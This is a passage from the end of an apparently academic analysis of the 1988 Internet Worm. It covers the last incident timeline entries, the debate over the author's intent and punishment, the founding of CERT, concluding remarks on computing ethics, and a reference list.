0900 Berkeley group finishes code decompilation. (mail, NCSC, Seeley)

1100 Milnet-Arpanet mailbridges restored. (NCSC)

1420 Keith Bostic reposts fix to fingerd. (mail)

1536 Ted Ts'o of MIT posts clarification of how Worm operates. (mail)

1720 Keith Bostic posts final set of patches for sendmail and fingerd. Included is humorous set of fixes to bugs in the decompiled Worm source code. (mail)

2130 John Markhoff of the New York Times tells me in a phone conversation that he has identified the author of the Worm and confirmed it with at least two independent sources. The next morning's paper will identify the author as Robert T. Morris, son of the National Computer Security Center's chief scientist, Robert Morris.[18]

November 5, 1988

0147 Mailing is made to *phage* mailing list by Erik Fair of Apple claiming he had heard that Robert Morse (sic) was the author of the Worm and that its release was an accident. (mail) This news was relayed though various mail messages and appears to have originated with John Markhoff.

1632 Andy Sudduth acknowledges authorship of anonymous warning to TCP-IP mailing list. (mail)

By Tuesday, November 8, most machines had connected back to the Internet and traffic patterns had returned to near normal. That morning, about 50 people from around the country met with officials of the National Computer Security Center at a hastily convened ''post-mortem'' on the Worm. They identify some likely future courses of action. [1]

Network traffic analyzers continued to record infection attempts from (apparently) Worm programs still running on Internet machines. The last such instance occurred in the early part of December.*

5. Aftermath

In the weeks and months following the release of the Internet Worm, there have been a few topics hotly debated in mailing lists, media coverage, and personal conversations. I view a few of these as particularly significant, and will present them here.

5.1. Author, Intent, and Punishment

Two of the first questions to be asked—even before the Worm was stopped—were simply the questions "Who?" and "Why?". Who had written the Worm, and why had he/she/they loosed it in the Internet? The question of "Who?" was answered shortly thereafter when the New York Times identified Robert T. Morris. Although he has not publicly admitted authorship, and no court of law has yet pronounced guilt, there seems to be a large body of evidence to support such an identification. Various

* Private communication, NCSC staff member.

Federal officials† have told me that they have obtained statements from multiple individuals to whom Mr. Morris spoke about the Worm and its development. They also claim to have records from Cornell University computers showing early versions of the Worm code being tested on campus machines, and they claim to have copies of the Worm code, found in Mr. Morris's account. The report from the Provost's office at Cornell [11] also names Robert T. Morris as the culprit, and presents convincing reasons for that conclusion.

Thus, the identity of the author appears well established, but his motive remains a mystery. Conjectures have ranged from an experiment gone awry to a subconscious act of revenge against his father. All of this is sheer speculation, however, since no statement has been forthcoming from Mr. Morris. All we have to work with is the decompiled code for the program and our understanding of its effects. It is impossible to intuit the real motive from those or from various individuals' experiences with the author. We must await a definitive statement by the author to answer the question ''Why?''. Considering the potential legal consequences, both criminal and civil, a definitive statement from Mr. Morris may be some time in coming, if it ever does.

Two things have been noted by many people who have read the decompiled code, however (this author included). First, the Worm program contained no code that would explicitly cause damage to any system on which it ran. Considering the ability and knowledge evidenced by the code, it would have been a simple matter for the author to have included such commands if that was his intent. Unless the Worm was released prematurely, it appears that the author's intent did not involve explicit, immediate destruction or damage of any data or systems.

The second feature of note was that the code had no mechanism to halt the spread of the Worm. Once started, the Worm would propagate while also taking steps to avoid identification and ''capture.'' Due to this and the complex argument string necessary to start it, individuals who have examined the code (this author included) believe it unlikely that the Worm was started by accident or was intended not to propagate widely.

In light of our lack of definitive information, it is puzzling to note attempts to defend Mr. Morris by claiming that his intent was to demonstrate something about Internet security, or that he was trying a harmless experiment. Even the current president of the ACM implied that it was just a ''prank'' in [17]. It is curious that this many people, journalists and computer professionals alike, would assume to know the intent of the author based on the observed behavior of the program. As Rick Adams of the Center for Seismic Studies observed in a posting to the Usenet, we may someday hear that the Worm was actually written to impress Jodie Foster—we simply do not know the real reason.

The Provost's report from Cornell, however, does not attempt to excuse Mr. Morris's behavior. It quite clearly labels the actions as unethical and contrary to the standards of the computer profession. They very clearly state that his actions were against university policy and accepted practice, and that based on his past experience he should have known it was wrong to act as he did.

Coupled with the tendency to assume motive, we have observed different opinions on the punishment, if any, to mete out to the author. One oft-expressed opinion, especially by those individuals who believe the Worm release to be an accident or an unfortunate experiment, is that the author should not be punished. Some have gone so far as to say that the author should be rewarded and the vendors and operators of the affected machines should be the ones punished, this on the theory that they were sloppy about their security and somehow invited the abuse! The other extreme school of thought holds that the author should be severely punished, including at least a term in a Federal penitentiary. One somewhat humorous example of this was espoused by Mike Royko [23].

The Cornell commission recommended some punishment, but not punishment so severe that Mr. Morris's future career in computing would be jepordized. Consistent with that recommendation, Robert has been suspended from the University for a minimum of one year; the faculty of the computer science department there will have to approve readmission should he apply for it.

---

† Personal conversations, anonymous by request.

As has been observed in both [16] and [8], it would not serve us well to overreact to this particular incident; less than 5% of the machines on an insecure network were affected for less than a few days. However, neither should we dismiss it as something of no consequence. That no damage was done may possibly have been an accident, and it is possible that the author intended for the program to clog the Internet as it did (comments in his code, as reported in the Cornell report, suggested even more sinister possibilities). Furthermore, we should be careful of setting a dangerous precedent for future occurrences of such behavior. Excusing acts of computer vandalism simply because their authors claim there was no intent to cause damage will do little to discourage repeat offenses, and may encourage new incidents.

The claim that the victims of the Worm were somehow responsible for the invasion of their machines is also curious. The individuals making this claim seem to be stating that there is some moral or legal obligation for computer users to track and install every conceivable security fix and mechanism available. This totally ignores the many sites that run turn-key systems without source code or administrators knowledgeable enough to modify their systems. Those sites may also be running specialized software or have restricted budgets that prevent them from installing new software versions. Many commercial and government sites operate their systems this way. To attempt to blame these individuals for the success of the Worm is equivalent to blaming an arson victim for the fire because she didn't build her house of fireproof metal. (More on this theme can be found in [27].)

The matter of appropriate punishment will likely be decided by a Federal judge. A grand jury in Syracuse, NY has been hearing testimony on the matter. A Federal indictment under the United States Code, Title 18 § 1030 (the Computer Fraud and Abuse statute), parts (a)(3) or (a)(5) might be returned. § (a)(5), in particular, is of interest. That part of the statute makes it a felony if an individual ''intentionally accesses a Federal interest computer without authorization, and by means of one or more instances of such conduct alters, damages, or destroys information ..., *or prevents authorized use* of any such computer or information and thereby *causes loss to one or more others of a value aggregating $1,000 or more* during any one year period;'' (emphasis mine). The penalty if convicted under section (a)(5) may include a fine and a five year prison term. State and civil suits might also be brought in this case.

5.2. Worm Hunters

A significant conclusions reached at the NCSC post-mortem workshop was that the reason the Worm was stopped so quickly was due almost solely to the UNIX ''old-boy'' network, and not because of any formal mechanism in place at the time. [1] A general recommendation from that workshop was that a formal crisis center be established to deal with future incidents and to provide a formal point of contact for individuals wishing to report problems. No such center was established at that time.

On November 29, someone exploiting a security flaw present in older versions of the FTP file transfer program broke into a machine on the MILnet. The intruder was traced to a machine on the Arpanet, and to prevent further access the MILnet/Arpanet links were immediately severed. During the next 48 hours there was considerable confusion and rumor about the disconnection, fueled in part by the Defense Communication Agency's attempt to explain the disconnection as a ''test'' rather than as a security problem.

This event, coming as close as it did to the Worm incident, prompted DARPA to establish the CERT—the Computer Emergency Response Team—at the Software Engineering Institute at Carnegie-Mellon University.* The purpose of the CERT is to act as a central switchboard and coordinator for computer security emergencies on Arpanet and MILnet computers. The Center has asked for volunteers from Federal agencies and funded laboratories to serve as technical advisors when needed.[2]

Of interest here is that the CERT is not chartered to deal with just any Internet emergency. Thus, problems detected in the CSnet, Bitnet, NSFnet, and other Internet communities may not be referable to the CERT. I was told it is the hope of CERT personnel that these other networks will develop their own CERT-like groups. This, of course, may make it difficult to coordinate effective action and communication during the next threat. It may even introduce rivalry in the development and dissemination of critical information. The effectiveness of this organization against the next Internet-wide crisis will be interesting

* Personal communication, M. Poepping of the CERT.

to note.

6. Concluding Remarks

Not all the consequences of the Internet Worm incident are yet known; they may never be. Most likely there will be changes in security consciousness for at least a short while. There may also be new laws, and new regulations from the agencies governing access to the Internet. Vendors may change the way they test and market their products—and not all the possible changes may be advantageous to the end-user (e.g., removing the machine/host equivalence feature for remote execution). Users' interactions with their systems may change based on a heightened awareness of security risks. It is also possible that no significant change will occur anywhere. The final benefit or harm of the incident will only become clear with the passage of time.

It is important to note that the nature of both the Internet and UNIX helped to defeat the Worm as well as spread it. The immediacy of communication, the ability to copy source and binary files from machine to machine, and the widespread availability of both source and expertise allowed personnel throughout the country to work together to solve the infection, even despite the widespread disconnection of parts of the network. Although the immediate reaction of some people might be to restrict communication or promote a diversity of incompatible software options to prevent a recurrence of a Worm, that would be an inappropriate reaction. Increasing the obstacles to open communication or decreasing the number of people with access to in-depth information will not prevent a determined attacker—it will only decrease the pool of expertise and resources available to fight such an attack. Further, such an attitude would be contrary to the whole purpose of having an open, research-oriented network. The Worm was caused by a breakdown of ethics as well as lapses in security—a purely technological attempt at prevention will not address the full problem, and may just cause new difficulties.

What we learn from this about securing our systems will help determine if this is the only such incident we ever need to analyze. This attack should also point out that we need a better mechanism in place to coordinate information about security flaws and attacks. The response to this incident was largely ad hoc, and resulted in both duplication of effort and a failure to disseminate valuable information to sites that needed it. Many site administrators discovered the problem from reading the newspaper or watching the television. The major sources of information for many of the sites affected seems to have been Usenet news groups and a mailing list I put together when the Worm was first discovered. Although useful, these methods did not ensure timely, widespread dissemination of useful information — especially since many of them depended on the Internet to work! Over three weeks after this incident some sites were still not reconnected to the Internet because of doubts about the security of their systems. The Worm has shown us that we are all affected by events in our shared environment, and we need to develop better information methods outside the network before the next crisis. The formation of the CERT may be a step in the right direction, but a more general solution is still needed.

Finally, this whole episode should cause us to think about the ethics and laws concerning access to computers. Since the technology we use has developed so quickly, it is not always simple to determine where the proper boundaries of moral action may be. Some senior computer professionals may have started their careers years ago by breaking into computer systems at their colleges and places of employment to demonstrate their expertise and knowledge of the inner workings of the systems. However, times have changed and mastery of computer science and computer engineering now involves a great deal more than can be shown by using intimate knowledge of the flaws in a particular operating system. Whether such actions were appropriate fifteen years ago is, in some senses, unimportant. I believe it is critical to realize that such behavior is clearly inappropriate now. Entire businesses are now dependent, wisely or not, on computer systems. People's money, careers, and possibly even their lives may be dependent on the undisturbed functioning of computers. As a society, we cannot afford the consequences of condoning or encouraging reckless or ill-considered behavior that threatens or damages computer systems, especially by individuals who do not understand the consequences of their actions. As professionals, computer scientists and computer engineers cannot afford to tolerate the romanticization of computer vandals and computer criminals, and we must take the lead by setting proper examples. Let us hope there are no further incidents to underscore this particular lesson.

Acknowledgements

Early versions of this paper were carefully read and commented on by Keith Bostic, Steve Bellovin, Kathleen Heaphy, and Thomas Narten. I am grateful for their suggestions and criticisms.

References

1. Participants, *PROCEEDINGS OF THE VIRUS POST-MORTEM MEETING*, National Computer Security Center, Ft. George Meade, MD, 8 November 1988.
2. Staff, ''Uncle Sam's Anti-Virus Corps,'' *UNIX TODAY!*, p. 10, Jan 23, 1989.
3. Allman, Eric, *Sendmail—An Internetwork Mail Router*, University of California, Berkeley, 1983. Issued with the BSD UNIX documentation set.
4. Bishop, Matt, ''An Application of a Fast Data Encryption Standard Implementation,'' *COMPUTING SYSTEMS: THE JOURNAL OF THE USENIX ASSOCIATION*, vol. 1, no. 3, pp. 221-254, University of California Press, Summer 1988.
5. Brunner, John, *The Shockwave Rider*, Harper & Row, 1975.
6. Cohen, Fred, ''Computer Viruses: Theory and Experiments,'' *PROCEEDINGS OF THE 7TH NATIONAL COMPUTER SECURITY CONFERENCE*, pp. 240-263, 1984.
7. Comer, Douglas E., *Internetworking with TCP/IP: Principles, Protocols and Architecture*, Prentice Hall, Englewood Cliffs, NJ, 1988.
8. Denning, Peter, ''The Internet Worm,'' *AMERICAN SCIENTIST*, vol. 77, no. 2, March-April 1989.
9. Denning, Peter J., ''Computer Viruses,'' *AMERICAN SCIENTIST*, vol. 76, pp. 236-238, May-June 1988.
10. Eichin, Mark W. and Jon A. Rochlis, ''With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988,'' *PROCEEDINGS OF THE SYMPOSIUM ON RESEARCH IN SECURITY AND PRIVACY*, IEEE-CS, Oakland, CA, May 1989.
11. Eisenberg, Ted, David Gries, Juris Hartmanis, Dan Holcomb, M. Stuart Lynn, and Thomas Santoro, *The Computer Worm*, Office of the Provost, Cornell University, Ithaca, NY, Feb. 1989.
12. Gerrold, David, *When Harlie Was One*, Ballentine Books, 1972. The **first** edition.
13. Grampp, Fred. T. and Robert H. Morris, ''UNIX Operating System Security,'' *AT&T BELL LABORATORIES TECHNICAL JOURNAL*, vol. 63, no. 8, part 2, pp. 1649-1672, Oct. 1984.
14. Harrenstien, K., ''Name/Finger,'' RFC 742, SRI Network Information Center, December 1977.
15. Hinden, R., J. Haverty, and A. Sheltzer, ''The DARPA Internet: Interconnecting Heterogeneous Computer Networks with Gateways,'' *COMPUTER MAGAZINE*, vol. 16, no. 9, pp. 38-48, IEEE-CS, September 1983.
16. King, Kenneth M., ''Overreaction to External Attacks on Computer Systems Could be More Harmful than the Viruses Themselves,'' *CHRONICLE OF HIGHER EDUCATION*, p. A36, November 23, 1988.
17. Kocher, Bryan, ''A Hygiene Lesson,'' *COMMUNICATIONS OF THE ACM*, vol. 32, no. 1, p. 3, January 1989.
18. Markhoff, John, ''Author of Computer 'Virus' Is Son of U. S. Electronic Security Expert,'' *NEW YORK TIMES*, p. A1, November 5, 1988.
19. Morris, Robert and Ken Thompson, ''UNIX Password Security,'' *COMMUNICATIONS OF THE ACM*, vol. 22, no. 11, pp. 594-597, ACM, November 1979.
20. Postel, Jonathan B., ''Simple Mail Transfer Protocol,'' RFC 821, SRI Network Information Center, August 1982.
21. Reid, Brian, ''Reflections on Some Recent Widespread Computer Breakins,'' *COMMUNICATIONS OF THE ACM*, vol. 30, no. 2, pp. 103-105, ACM, February 1987.

22. Ritchie, Dennis M., ‘‘On the Security of UNIX,’’ in *UNIX SUPPLEMENTARY DOCUMENTS*, AT & T, 1979.

23. Royko, Mike, ‘‘Here’s how to stop computer vandals,’’ *THE CHICAGO TRIBUNE*, November 7, 1988.

24. Seeley, Donn, ‘‘A Tour of the Worm,’’ *PROCEEDINGS OF 1989 WINTER USENIX CONFERENCE*, Usenix Association, San Diego, CA, February 1989.

25. Shoch, John F. and Jon A. Hupp, ‘‘The Worm Programs — Early Experience with a Distributed Computation,’’ *COMMUNICATIONS OF THE ACM*, vol. 25, no. 3, pp. 172-180, ACM, March 1982.

26. Spafford, Eugene H., ‘‘The Internet Worm Program: An Analysis,’’ *COMPUTER COMMUNICATION REVIEW*, vol. 19, no. 1, ACM SIGCOM, January 1989. Also issued as Purdue CS technical report TR-CSD-823

27. Spafford, Eugene H., ‘‘Some Musings on Ethics and Computer Break-Ins,’’ *PROCEEDINGS OF THE WINTER USENIX CONFERENCE*, Usenix Association, San Diego, CA, February 1989.

28. Steiner, Jennifer, Clifford Neuman, and Jeffrey Schiller, ‘‘Kerberos: An Authentication Service for Open Network Systems,’’ *USENIX ASSOCIATION WINTER CONFERENCE 1988 PROCEEDINGS*, pp. 191-202, February 1988.

29. Stoll, Cliff, *The Cuckoo’s Egg*, Doubleday, NY, NY, October 1989. Also published in Frankfurt, Germany by Fischer-Verlag.